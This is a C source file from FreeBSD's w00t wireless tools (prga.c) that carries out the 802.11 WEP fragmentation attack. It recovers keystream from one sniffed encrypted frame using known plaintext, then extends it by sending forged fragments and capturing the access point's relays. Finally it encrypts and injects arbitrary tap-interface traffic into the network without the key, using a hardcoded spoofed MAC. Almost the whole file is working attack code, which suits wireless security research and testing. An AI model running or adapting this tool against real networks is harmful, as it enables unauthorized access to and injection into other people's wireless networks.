1 /*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 *
26 * $FreeBSD: src/tools/tools/net80211/w00t/prga/prga.c,v 1.2 2009/07/24 15:31:22 sam Exp $
27 */
28 #include <sys/endian.h>
29 #include <sys/time.h>
30 #include <sys/select.h>
31 #include <stdio.h>
32 #include <stdlib.h>
33 #include <string.h>
34 #include <err.h>
35 #include <unistd.h>
36 #include <fcntl.h>
37 #include <assert.h>
38 #include <zlib.h>
39 #include "w00t.h"
40
41
42 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
43 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
44 static int known_pt_len = 8;
45
46 enum {
47 S_START = 0,
48 S_SEND_FRAG,
49 S_WAIT_ACK,
50 S_WAIT_RELAY
51 };
52
53 struct params {
54 int tx;
55 int rx;
56
57 char mac[6];
58 char ap[6];
59
60 char prga[2048];
61 int prga_len;
62 char iv[3];
63
64 char *fname;
65
66 struct timeval last;
67 char packet[2048];
68 int packet_len;
69 int state;
70
71 char data[2048];
72 char *data_ptr;
73 int data_len;
74 int data_try;
75 int mtu;
76
77 int seq;
78 int frag;
79
80 int tap;
81 };
82
usage(char * p)83 void usage(char *p)
84 {
85 printf("Usage: %s <opts>\n"
86 "-h\thelp\n"
87 "-b\t<bssid>\n"
88 "-t\t<tap>\n"
89 , p);
90 exit(0);
91 }
92
load_prga(struct params * p)93 void load_prga(struct params *p)
94 {
95 int fd;
96 int rd;
97
98 fd = open(p->fname, O_RDONLY);
99 if (fd == -1) {
100 p->prga_len = 0;
101 return;
102 }
103
104 rd = read(fd, p->iv, 3);
105 if (rd == -1)
106 err(1, "read()");
107 if (rd != 3) {
108 printf("Short read\n");
109 exit(1);
110 }
111
112 rd = read(fd, p->prga, sizeof(p->prga));
113 if (rd == -1)
114 err(1, "read()");
115 p->prga_len = rd;
116
117 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
118 close(fd);
119 }
120
save_prga(struct params * p)121 void save_prga(struct params *p)
122 {
123 int fd;
124 int rd;
125
126 fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
127 if (fd == -1)
128 err(1, "open()");
129
130 rd = write(fd, p->iv, 3);
131 if (rd == -1)
132 err(1, "write()");
133 if (rd != 3) {
134 printf("Short write\n");
135 exit(1);
136 }
137
138 rd = write(fd, p->prga, p->prga_len);
139 if (rd == -1)
140 err(1, "write()");
141 if (rd != p->prga_len) {
142 printf("Wrote %d/%d\n", rd, p->prga_len);
143 exit(1);
144 }
145 close(fd);
146
147 printf("Got %d bytes of PRGA\n", p->prga_len);
148 }
149
is_arp(struct ieee80211_frame * wh,int len)150 int is_arp(struct ieee80211_frame *wh, int len)
151 {
152 /* XXX */
153 if (len > (sizeof(*wh) + 4 + 4 + 39))
154 return 0;
155
156 return 1;
157 }
158
get_prga(struct params * p)159 void get_prga(struct params *p)
160 {
161 char buf[4096];
162 int rc;
163 struct ieee80211_frame *wh;
164 char *bssid;
165 char *ptr;
166 char *known_pt;
167
168 rc = sniff(p->rx, buf, sizeof(buf));
169 if (rc == -1)
170 err(1, "sniff()");
171
172 wh = get_wifi(buf, &rc);
173 if (!wh)
174 return;
175
176 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
177 IEEE80211_FC0_SUBTYPE_DATA))
178 return;
179
180 if (is_arp(wh, rc))
181 known_pt = known_pt_arp;
182 else
183 known_pt = known_pt_ip;
184
185 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
186 bssid = wh->i_addr1;
187 else
188 bssid = wh->i_addr2;
189
190 if (memcmp(p->ap, bssid, 6) != 0)
191 return;
192
193 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
194 printf("Packet not WEP!\n");
195 return;
196 }
197
198 ptr = (char*) (wh+1);
199 memcpy(p->iv, ptr, 3);
200 ptr += 4;
201 rc -= sizeof(wh) + 4;
202
203 assert(rc >= known_pt_len);
204
205 for (rc = 0; rc < known_pt_len; rc++) {
206 p->prga[rc] = known_pt[rc] ^ (*ptr);
207 ptr++;
208 }
209
210 p->prga_len = rc;
211 save_prga(p);
212 }
213
start(struct params * p)214 void start(struct params *p)
215 {
216 int len;
217
218 len = p->prga_len;
219 len -= 4;
220 assert(len > 0);
221
222 len *= 4;
223 if (len > p->mtu)
224 len = p->mtu;
225
226 p->data_len = len;
227 memset(p->data, 0, p->data_len);
228 memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
229 p->data_ptr = p->data;
230 p->data_try = 0;
231 p->seq++;
232 p->frag = 0;
233 p->state = S_SEND_FRAG;
234 }
235
send_packet(struct params * p)236 void send_packet(struct params *p)
237 {
238 int rc;
239 struct ieee80211_frame *wh;
240
241 rc = inject(p->tx, p->packet, p->packet_len);
242 if (rc == -1)
243 err(1, "inject()");
244 if (rc != p->packet_len) {
245 printf("Wrote %d/%d\n", rc, p->packet_len);
246 exit(1);
247 }
248
249 p->data_try++;
250 wh = (struct ieee80211_frame*) p->packet;
251 wh->i_fc[1] |= IEEE80211_FC1_RETRY;
252
253 if (gettimeofday(&p->last, NULL) == -1)
254 err(1, "gettimeofday()");
255 }
256
send_frag(struct params * p)257 void send_frag(struct params *p)
258 {
259 struct ieee80211_frame *wh;
260 int dlen, rem;
261 int last = 0;
262 short *seqp;
263 char *ptr;
264 uLong *pcrc;
265 uLong crc = crc32(0L, Z_NULL, 0);
266 int i;
267
268 memset(p->packet, 0, sizeof(p->packet));
269 wh = (struct ieee80211_frame*) p->packet;
270
271 /* calculate how much data we need to copy */
272 dlen = p->prga_len - 4;
273 rem = p->data_ptr - p->data;
274 rem = p->data_len - rem;
275
276 if (rem <= dlen) {
277 dlen = rem;
278 last = 1;
279 }
280
281 /* 802.11 */
282 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
283 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
284 wh->i_fc[1] |= IEEE80211_FC1_WEP;
285 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
286 if (!last)
287 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
288
289 wh->i_dur[0] = 0x69;
290 wh->i_dur[1] = 0x00;
291
292 memcpy(wh->i_addr1, p->ap, 6);
293 memcpy(wh->i_addr2, p->mac, 6);
294 memset(wh->i_addr3, 0xff, 6);
295
296 seqp = (short*) wh->i_seq;
297 *seqp = seqfn(p->seq, p->frag);
298 p->frag++;
299
300 /* IV & data */
301 ptr = (char*) (wh+1);
302 memcpy(ptr, p->iv, 3);
303 ptr += 4;
304 memcpy(ptr, p->data_ptr, dlen);
305
306 /* crc */
307 crc = crc32(crc, ptr, dlen);
308 pcrc = (uLong*) (ptr+dlen);
309 *pcrc = crc;
310
311 /* wepify */
312 for (i = 0; i < dlen+4; i++)
313 ptr[i] = ptr[i] ^ p->prga[i];
314
315 /* prepare for next frag */
316 p->packet_len = sizeof(*wh) + 4 + dlen + 4;
317 p->data_ptr += dlen;
318 #if 0
319 printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
320 p->seq, p->frag, dlen);
321 #endif
322 if (last) {
323 p->data_ptr = p->data;
324 p->frag = 0;
325 p->seq++;
326 }
327
328 /* send it off */
329 send_packet(p);
330 p->state = S_WAIT_ACK;
331 }
332
wait_ack(struct params * p)333 void wait_ack(struct params *p)
334 {
335 struct timeval now;
336 int el;
337 int tout = 10*1000;
338 fd_set fds;
339 int rc;
340 char buf[4096];
341 struct ieee80211_frame *wh;
342
343 if (gettimeofday(&now, NULL) == -1)
344 err(1, "gettimeofday()");
345
346 /* check for timeout */
347 el = elapsed(&p->last, &now);
348 if (el >= tout) {
349 if (p->data_try >= 3) {
350 #if 0
351 printf("Re-sending whole lot\n");
352 #endif
353 p->state = S_START;
354 return;
355 }
356 #if 0
357 printf("Re-sending frag\n");
358 #endif
359 send_packet(p);
360 el = 0;
361 }
362
363 el = tout - el;
364 now.tv_sec = el/1000/1000;
365 now.tv_usec = el - now.tv_sec*1000*1000;
366
367 FD_ZERO(&fds);
368 FD_SET(p->rx, &fds);
369 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
370 err(1, "select()");
371
372 if (!FD_ISSET(p->rx, &fds))
373 return;
374
375 /* grab ack */
376 rc = sniff(p->rx, buf, sizeof(buf));
377 if (rc == -1)
378 err(1, "sniff()");
379
380 wh = get_wifi(buf, &rc);
381 if (!wh)
382 return;
383
384 if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
385 return;
386
387 if (memcmp(p->mac, wh->i_addr1, 6) != 0)
388 return;
389
390 /* wait for relay */
391 if (p->frag == 0) {
392 p->state = S_WAIT_RELAY;
393 if (gettimeofday(&p->last, NULL) == -1)
394 err(1, "gettimeofday()");
395 }
396 else
397 p->state = S_SEND_FRAG;
398 }
399
wait_relay(struct params * p)400 void wait_relay(struct params *p)
401 {
402 int tout = 20*1000;
403 struct timeval now;
404 int el;
405 fd_set fds;
406 int rc;
407 char buf[4096];
408 struct ieee80211_frame *wh;
409 char *ptr;
410 uLong crc = crc32(0L, Z_NULL, 0);
411 uLong *pcrc;
412
413 if (gettimeofday(&now, NULL) == -1)
414 err(1, "gettimeofday()");
415
416 el = elapsed(&p->last, &now);
417 if (el >= tout) {
418 #if 0
419 printf("No relay\n");
420 #endif
421 p->state = S_START;
422 return;
423 }
424 el = tout - el;
425 now.tv_sec = el/1000/1000;
426 now.tv_usec = el - now.tv_sec*1000*1000;
427
428 FD_ZERO(&fds);
429 FD_SET(p->rx, &fds);
430 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
431 err(1, "select()");
432
433 if (!FD_ISSET(p->rx, &fds))
434 return;
435
436 /* get relay */
437 rc = sniff(p->rx, buf, sizeof(buf));
438 if (rc == -1)
439 err(1, "sniff()");
440
441 wh = get_wifi(buf, &rc);
442 if (!wh)
443 return;
444
445 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
446 IEEE80211_FC0_SUBTYPE_DATA))
447 return;
448
449 if (memcmp(wh->i_addr2, p->ap, 6) != 0)
450 return;
451
452 if (memcmp(wh->i_addr3, p->mac, 6) != 0)
453 return;
454
455 if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
456 return;
457
458 /* lends different due to padding? */
459 if ( (rc - sizeof(*wh) - 8) != p->data_len)
460 return;
461
462 /* grab new PRGA */
463 assert(p->data_len >= p->prga_len);
464 ptr = (char*) (wh+1);
465 memcpy(p->iv, ptr, 3);
466 ptr += 4;
467
468 crc = crc32(crc, p->data, p->data_len);
469 pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
470 *pcrc = crc;
471
472 for (rc = 0; rc < p->data_len+4; rc++)
473 p->prga[rc] = p->data[rc] ^ ptr[rc];
474
475 p->prga_len = p->data_len+4;
476 p->state = S_START;
477 save_prga(p);
478 }
479
get_more_prga(struct params * p)480 void get_more_prga(struct params *p)
481 {
482 switch (p->state) {
483 case S_START:
484 start(p);
485 break;
486
487 case S_SEND_FRAG:
488 send_frag(p);
489 break;
490
491 case S_WAIT_ACK:
492 wait_ack(p);
493 break;
494
495 case S_WAIT_RELAY:
496 wait_relay(p);
497 break;
498
499 default:
500 printf("WTF %d\n", p->state);
501 abort();
502 break;
503 }
504 }
505
read_tap(struct params * p)506 void read_tap(struct params *p)
507 {
508 int offset;
509 char *ptr;
510 struct ieee80211_frame *wh;
511 int rc;
512 char dst[6];
513 short *seq;
514 uLong *pcrc;
515 uLong crc = crc32(0L, Z_NULL, 0);
516
517 memset(p->packet, 0, sizeof(p->packet));
518 offset = sizeof(*wh) + 4 + 8 - 14;
519 rc = sizeof(p->packet) - offset;
520 ptr = &p->packet[offset];
521
522 rc = read(p->tap, ptr, rc);
523 if (rc == -1)
524 err(1, "read()");
525
526 memcpy(dst, ptr, sizeof(dst));
527 wh = (struct ieee80211_frame*) p->packet;
528 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
529 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
530 wh->i_fc[1] |= IEEE80211_FC1_WEP;
531 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
532
533 wh->i_dur[0] = 0x69;
534
535 memcpy(wh->i_addr1, p->ap, 6);
536 memcpy(wh->i_addr2, p->mac, 6);
537 memcpy(wh->i_addr3, dst, 6);
538
539 seq = (short*) wh->i_seq;
540 *seq = seqfn(p->seq++, 0);
541
542 /* data */
543 ptr = (char*) (wh+1);
544 memcpy(ptr, p->iv, 3);
545 ptr += 3;
546 *ptr++ = 0;
547 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
548 rc -= 14;
549 rc += 8;
550
551 crc = crc32(crc, ptr, rc);
552 pcrc = (uLong*) (ptr+rc);
553 *pcrc = crc;
554
555 rc += 4;
556
557 assert(p->prga_len >= rc);
558
559 /* wepify */
560 for (offset = 0; offset < rc; offset++)
561 ptr[offset] ^= p->prga[offset];
562
563 p->packet_len = sizeof(*wh) + 4 + rc;
564 p->data_try = 0;
565 send_packet(p);
566 p->state = S_WAIT_ACK;
567 }
568
569 /* XXX */
wait_tap_ack(struct params * p)570 void wait_tap_ack(struct params *p)
571 {
572 p->data_try = 0;
573 p->frag = 1;
574 wait_ack(p);
575
576 if (p->state == S_SEND_FRAG) {
577 #if 0
578 printf("Got ACK\n");
579 #endif
580 p->state = S_START;
581 }
582 }
583
transmit(struct params * p)584 void transmit(struct params *p)
585 {
586 switch (p->state) {
587 case S_START:
588 read_tap(p);
589 break;
590
591 case S_WAIT_ACK:
592 wait_tap_ack(p);
593 break;
594
595 default:
596 printf("wtf %d\n", p->state);
597 abort();
598 break;
599 }
600 }
601
main(int argc,char * argv[])602 int main(int argc, char *argv[])
603 {
604 struct params p;
605 char *iface = "wlan0";
606 char *tap = "tap0";
607 int ch;
608
609 memset(&p, 0, sizeof(p));
610 p.fname = "prga.log";
611 memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
612 p.state = S_START;
613 p.mtu = 1500;
614 p.seq = getpid();
615
616 while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
617 switch (ch) {
618 case 'b':
619 if (str2mac(p.ap, optarg) == -1) {
620 printf("Can't parse BSSID\n");
621 exit(1);
622 }
623 break;
624
625 case 't':
626 tap = optarg;
627 break;
628
629 case 'h':
630 default:
631 usage(argv[0]);
632 break;
633 }
634 }
635
636 /* init */
637 if ((p.rx = open_rx(iface)) == -1)
638 err(1, "open_rx()");
639 if ((p.tx = open_tx(iface)) == -1)
640 err(1, "open_tx()");
641
642 if ((p.tap = open_tap(tap)) == -1)
643 err(1, "open_tap()");
644 if (set_iface_mac(tap, p.mac) == -1)
645 err(1, "set_iface_mac()");
646
647 printf("Obtaining PRGA\n");
648 /* make sure we got some prga */
649 load_prga(&p);
650
651 while (p.prga_len == 0)
652 get_prga(&p);
653
654 /* lets grab some more */
655 while (p.prga_len < p.mtu)
656 get_more_prga(&p);
657
658 /* transmit */
659 p.state = S_START;
660 while (1)
661 transmit(&p);
662
663 exit(0);
664 }
665